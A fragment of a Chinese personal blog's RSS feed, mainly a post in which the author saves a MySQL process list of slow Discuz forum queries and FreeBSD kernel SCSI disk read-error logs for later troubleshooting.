<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span class="15" style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/Prestressed-concrete-box-beam-bridge-2">6×30m预应力混凝土先简支后连续箱梁桥(2)</a></p><p><a href="http://www.holmesian.org/graduation">正式毕业</a></p></div>]]></description>
	<pubDate>Wed, 23 Mar 2011 08:14:47 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Prestressed-concrete-box-beam-bridge-1</guid>

</item>
<item>
	<title>Error-logs</title>
	<link>http://www.holmesian.org/error-logs</link>
	<description><![CDATA[<p></p>
<div class="Section0" style="layout-grid:15.6000pt;"><p class="p0" style="margin-bottom:11.5500pt;margin-top:0pt;padding:0pt 0pt 0pt 0pt;text-autospace:ideograph-other;"><span style="mso-spacerun:'yes';font-style:normal;font-size:10.5000pt;font-family:'Tahoma';">一个<span style="font-family:Tahoma;">mysql</span><span style="font-family:宋体;">问题，一个硬盘问题，先放着备份一下，做完毕设模型回来有空再细看：</span></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">1&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">48989&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;localhost&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;Query&nbsp;|&nbsp;8&nbsp;|&nbsp;Copying&nbsp;to&nbsp;tmp&nbsp;table&nbsp;on&nbsp;disk&nbsp;|&nbsp;SELECT&nbsp;t.*,&nbsp;f.name&nbsp;FROM&nbsp;ecjtu_forum_thread&nbsp;t,&nbsp;ecjtu_forum_forum&nbsp;f&nbsp;WHERE&nbsp;f.status&lt;&gt;</span><span style="mso-spacerun:'yes';color:#ff0000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">'3'</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">&nbsp;AND&nbsp;f.fid=t.fi&nbsp;|</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">2&nbsp;</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">3&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">|&nbsp;48987&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;localhost&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;Query&nbsp;|&nbsp;94&nbsp;|&nbsp;Copying&nbsp;to&nbsp;tmp&nbsp;table&nbsp;on&nbsp;disk&nbsp;|&nbsp;SELECT&nbsp;t.*,&nbsp;f.name&nbsp;FROM&nbsp;ecjtu_forum_thread&nbsp;t,&nbsp;ecjtu_forum_forum&nbsp;f&nbsp;WHERE&nbsp;f.status&lt;&gt;</span><span style="mso-spacerun:'yes';color:#ff0000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">'3'</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">&nbsp;AND&nbsp;f.fid=t.fi&nbsp;|</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">4&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">|&nbsp;48990&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;localhost&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;Query&nbsp;|&nbsp;79&nbsp;|&nbsp;Copying&nbsp;to&nbsp;tmp&nbsp;table&nbsp;on&nbsp;disk&nbsp;|&nbsp;SELECT&nbsp;t.*,&nbsp;f.name&nbsp;FROM&nbsp;ecjtu_forum_thread&nbsp;t,&nbsp;ecjtu_forum_forum&nbsp;f&nbsp;WHERE&nbsp;f.status&lt;&gt;</span><span style="mso-spacerun:'yes';color:#ff0000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">'3'</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">&nbsp;AND&nbsp;f.fid=t.fi&nbsp;|</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">5&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">|&nbsp;48991&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;localhost&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;Query&nbsp;|&nbsp;95&nbsp;|&nbsp;Copying&nbsp;to&nbsp;tmp&nbsp;table&nbsp;on&nbsp;disk&nbsp;|&nbsp;SELECT&nbsp;t.*,&nbsp;f.name&nbsp;FROM&nbsp;ecjtu_forum_thread&nbsp;t,&nbsp;ecjtu_forum_forum&nbsp;f&nbsp;WHERE&nbsp;f.status&lt;&gt;</span><span style="mso-spacerun:'yes';color:#ff0000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">'3'</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">&nbsp;AND&nbsp;f.fid=t.fi&nbsp;|</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">6&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">|&nbsp;48992&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;localhost&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;Query&nbsp;|&nbsp;95&nbsp;|&nbsp;Copying&nbsp;to&nbsp;tmp&nbsp;table&nbsp;on&nbsp;disk&nbsp;|&nbsp;SELECT&nbsp;t.*,&nbsp;f.name&nbsp;FROM&nbsp;ecjtu_forum_thread&nbsp;t,&nbsp;ecjtu_forum_forum&nbsp;f&nbsp;WHERE&nbsp;f.status&lt;&gt;</span><span style="mso-spacerun:'yes';color:#ff0000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">'3'</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">&nbsp;AND&nbsp;f.fid=t.fi&nbsp;|</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">7&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">|&nbsp;48993&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;localhost&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;Query&nbsp;|&nbsp;94&nbsp;|&nbsp;Copying&nbsp;to&nbsp;tmp&nbsp;table&nbsp;on&nbsp;disk&nbsp;|&nbsp;SELECT&nbsp;t.*,&nbsp;f.name&nbsp;FROM&nbsp;ecjtu_forum_thread&nbsp;t,&nbsp;ecjtu_forum_forum&nbsp;f&nbsp;WHERE&nbsp;f.status&lt;&gt;</span><span style="mso-spacerun:'yes';color:#ff0000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">'3'</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">&nbsp;AND&nbsp;f.fid=t.fi&nbsp;|</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">8&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">|&nbsp;48994&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;localhost&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;Query&nbsp;|&nbsp;76&nbsp;|&nbsp;Copying&nbsp;to&nbsp;tmp&nbsp;table&nbsp;on&nbsp;disk&nbsp;|&nbsp;SELECT&nbsp;t.*,&nbsp;f.name&nbsp;FROM&nbsp;ecjtu_forum_thread&nbsp;t,&nbsp;ecjtu_forum_forum&nbsp;f&nbsp;WHERE&nbsp;f.status&lt;&gt;</span><span style="mso-spacerun:'yes';color:#ff0000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">'3'</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">&nbsp;AND&nbsp;f.fid=t.fi&nbsp;|</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">9&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">|&nbsp;48996&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;localhost&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;Query&nbsp;|&nbsp;11&nbsp;|&nbsp;Copying&nbsp;to&nbsp;tmp&nbsp;table&nbsp;on&nbsp;disk&nbsp;|&nbsp;SELECT&nbsp;t.*,&nbsp;f.name&nbsp;FROM&nbsp;ecjtu_forum_thread&nbsp;t,&nbsp;ecjtu_forum_forum&nbsp;f&nbsp;WHERE&nbsp;f.status&lt;&gt;</span><span style="mso-spacerun:'yes';color:#ff0000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">'3'</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">&nbsp;AND&nbsp;f.fid=t.fi&nbsp;|</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">10&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">|&nbsp;48997&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;localhost&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;Query&nbsp;|&nbsp;91&nbsp;|&nbsp;Copying&nbsp;to&nbsp;tmp&nbsp;table&nbsp;on&nbsp;disk&nbsp;|&nbsp;SELECT&nbsp;t.*,&nbsp;f.name&nbsp;FROM&nbsp;ecjtu_forum_thread&nbsp;t,&nbsp;ecjtu_forum_forum&nbsp;f&nbsp;WHERE&nbsp;f.status&lt;&gt;</span><span style="mso-spacerun:'yes';color:#ff0000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">'3'</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">&nbsp;AND&nbsp;f.fid=t.fi&nbsp;|</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">11&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">|&nbsp;48998&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;localhost&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;Query&nbsp;|&nbsp;8&nbsp;|&nbsp;Copying&nbsp;to&nbsp;tmp&nbsp;table&nbsp;on&nbsp;disk&nbsp;|&nbsp;SELECT&nbsp;t.*,&nbsp;f.name&nbsp;FROM&nbsp;ecjtu_forum_thread&nbsp;t,&nbsp;ecjtu_forum_forum&nbsp;f&nbsp;WHERE&nbsp;f.status&lt;&gt;</span><span style="mso-spacerun:'yes';color:#ff0000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">'3'</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">&nbsp;AND&nbsp;f.fid=t.fi&nbsp;|</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">12&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">|&nbsp;48999&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;localhost&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;Query&nbsp;|&nbsp;186&nbsp;|&nbsp;Sorting&nbsp;</span><span style="mso-spacerun:'yes';color:#0000ff;font-weight:bold;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">for</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">&nbsp;group&nbsp;|&nbsp;SELECT&nbsp;attach.aid,&nbsp;attach.attachment,attach.remote,&nbsp;t.tid,&nbsp;t.fid,&nbsp;t.subject&nbsp;FROM&nbsp;ecjtu_forum_attachm&nbsp;|</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">13&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">|&nbsp;49000&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;localhost&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;Query&nbsp;|&nbsp;86&nbsp;|&nbsp;Copying&nbsp;to&nbsp;tmp&nbsp;table&nbsp;on&nbsp;disk&nbsp;|&nbsp;SELECT&nbsp;t.*,&nbsp;f.name&nbsp;FROM&nbsp;ecjtu_forum_thread&nbsp;t,&nbsp;ecjtu_forum_forum&nbsp;f&nbsp;WHERE&nbsp;f.status&lt;&gt;</span><span style="mso-spacerun:'yes';color:#ff0000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">'3'</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">&nbsp;AND&nbsp;f.fid=t.fi&nbsp;|</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">14&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">|&nbsp;49004&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;localhost&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;Query&nbsp;|&nbsp;94&nbsp;|&nbsp;Copying&nbsp;to&nbsp;tmp&nbsp;table&nbsp;on&nbsp;disk&nbsp;|&nbsp;SELECT&nbsp;t.*,&nbsp;f.name&nbsp;FROM&nbsp;ecjtu_forum_thread&nbsp;t,&nbsp;ecjtu_forum_forum&nbsp;f&nbsp;WHERE&nbsp;f.status&lt;&gt;</span><span style="mso-spacerun:'yes';color:#ff0000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">'3'</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">&nbsp;AND&nbsp;f.fid=t.fi&nbsp;|</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">15&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">|&nbsp;49012&nbsp;|&nbsp;ecjtu_news&nbsp;|&nbsp;localhost&nbsp;|&nbsp;rixin&nbsp;|&nbsp;Sleep&nbsp;|&nbsp;262&nbsp;|&nbsp;|&nbsp;NULL&nbsp;|</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">16&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">|&nbsp;49017&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;localhost&nbsp;|&nbsp;ecjtu_discuzx&nbsp;|&nbsp;Query&nbsp;|&nbsp;82&nbsp;|&nbsp;Copying&nbsp;to&nbsp;tmp&nbsp;table&nbsp;on&nbsp;disk&nbsp;|&nbsp;SELECT&nbsp;t.*,&nbsp;f.name&nbsp;FROM&nbsp;ecjtu_forum_thread&nbsp;t,&nbsp;ecjtu_forum_forum&nbsp;f&nbsp;WHERE&nbsp;f.status&lt;&gt;</span><span style="mso-spacerun:'yes';color:#ff0000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">'3'</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">&nbsp;AND&nbsp;f.fid=t.fi&nbsp;|</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">17&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">|&nbsp;49022&nbsp;|&nbsp;ecjtu_news&nbsp;|&nbsp;localhost&nbsp;|&nbsp;rixin&nbsp;|&nbsp;Sleep</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">18&nbsp;</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">19&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;(da1:mpt0:0:1:0):&nbsp;CAM&nbsp;status:&nbsp;SCSI&nbsp;Status&nbsp;Error</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">20&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;(da1:mpt0:0:1:0):&nbsp;SCSI&nbsp;status:&nbsp;Check&nbsp;Condition</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">21&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;(da1:mpt0:0:1:0):&nbsp;SCSI&nbsp;sense:&nbsp;MEDIUM&nbsp;ERROR&nbsp;info:18a1c9df&nbsp;csi:6,70,c8,c3&nbsp;asc:11,4&nbsp;(Unrecovered&nbsp;read&nbsp;error&nbsp;-&nbsp;auto&nbsp;reallocate&nbsp;failed)&nbsp;actual&nbsp;retry&nbsp;count:&nbsp;4</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">22&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;(da1:mpt0:0:1:0):&nbsp;READ(10).&nbsp;CDB:&nbsp;28&nbsp;0&nbsp;d&nbsp;a3&nbsp;41&nbsp;df&nbsp;0&nbsp;0&nbsp;20&nbsp;0</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">23&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;(da1:mpt0:0:1:0):&nbsp;CAM&nbsp;status:&nbsp;SCSI&nbsp;Status&nbsp;Error</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
